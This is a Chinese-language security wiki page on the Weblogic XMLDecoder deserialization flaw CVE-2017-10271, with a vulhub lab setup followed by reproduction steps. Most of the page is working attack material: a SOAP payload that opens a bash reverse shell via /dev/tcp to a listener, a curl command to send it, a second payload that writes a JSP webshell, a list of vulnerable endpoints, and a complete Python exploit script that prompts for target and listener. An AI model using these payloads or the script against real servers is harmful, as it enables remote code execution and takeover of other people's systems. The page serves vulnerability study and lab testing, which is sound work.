menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Weblogic chevron_right Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271.md
    5.6 KB / 2021-04-15 12:15:23
        # Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
    
    ## 漏洞描述
    
    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
    
    ## 影响版本
    
    > [!NOTE]
    >
    > Weblogic 10.3.6.0.0
    >
    > Weblogic 12.1.3.0.0
    >
    > Weblogic 12.2.1.0.0
    >
    > Weblogic 12.2.1.2.0
    
    ## 环境搭建
    
    ```
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/weblogic/CVE-2017-10271
    docker-compose up -d
    ```
    
    访问 http://xxx.xxx.xxx.xxx:7001 正常即可
    
    ![](image/weblogic-1.png)
    
    ## 漏洞复现
    
    对 http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType 进行访问,存在这个url则可能存在漏洞
    
    ```
    其他可利用URL
    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11
    ```
    
    
    
    ![](image/weblogic-2.png)
    
    使用POST方法上传以下数据反弹一个shell
    
    ```xml
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    ```
    
    使用Curl反弹shell (将上面的xml数据保存为poc.xml)
    
    ```shell
    curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType"
    ```
    
    ![](image/weblogic-3.png)
    
    也可以通过漏洞写入webshell文件
    
    ```xml
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.io.PrintWriter"> 
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
        <void method="println"><string>
        <![CDATA[
    <% out.print("test"); %>
        ]]>
        </string>
        </void>
        <void method="close"/>
        </object></java></java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    ```
    
    访问 http://xxx.xxx.xxx.xxx:7001/bea_wls_internal/test.jsp 即可得到写入的文件
    
    ## 漏洞利用POC
    
    利用 [weblogic-scan](https://github.com/kingkaki/weblogic-scan)快速检测
    
    ![](image/weblogic-4.png)
    
    > [!NOTE]
    >
    > 反弹shell exp
    
    ```python
    #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    # author : PeiQi
    # from   : http://wiki.peiqi.tech
    
    import requests
    import sys
    import json
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
        print('+  \033[34mVersion: Weblogic 10.3.6.0.0            \033[0m')
        print('+  \033[34m         Weblogic 12.1.3.0.0            \033[0m')
        print('+  \033[34m         Weblogic 12.2.1.0.0            \033[0m')
        print('+  \033[34m         Weblogic 12.2.1.2.0            \033[0m')
        print('+  \033[36m使用格式: python3 CVE-2017-10271.py      \033[0m')
        print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:7001  \033[0m')
        print('+  \033[36mCmd    >>> shell(反弹shell)              \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url, IP, PORT):
        vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
        headers = {
            "Content-Type": "text/xml",
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
        data = """
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
            <void index="0">
            <string>/bin/bash</string>
            </void>
            <void index="1">
            <string>-c</string>
            </void>
            <void index="2">
            <string>bash -i &gt;&amp; /dev/tcp/%s/%s 0&gt;&amp;1</string>
            </void>
            </array>
            <void method="start"/></void>
            </java>
            </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
            </soapenv:Envelope>
        """ % (IP,PORT)
        try:
            response = requests.request("POST", url=vuln_url, headers=headers, data=data)
        except:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        IP = str(input("\033[35m请输入监听IP   >>> \033[0m"))
        PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
        POC_1(target_url, IP, PORT)
    ```
    
    ![](image/weblogic-5.png)
    
    links
    file_download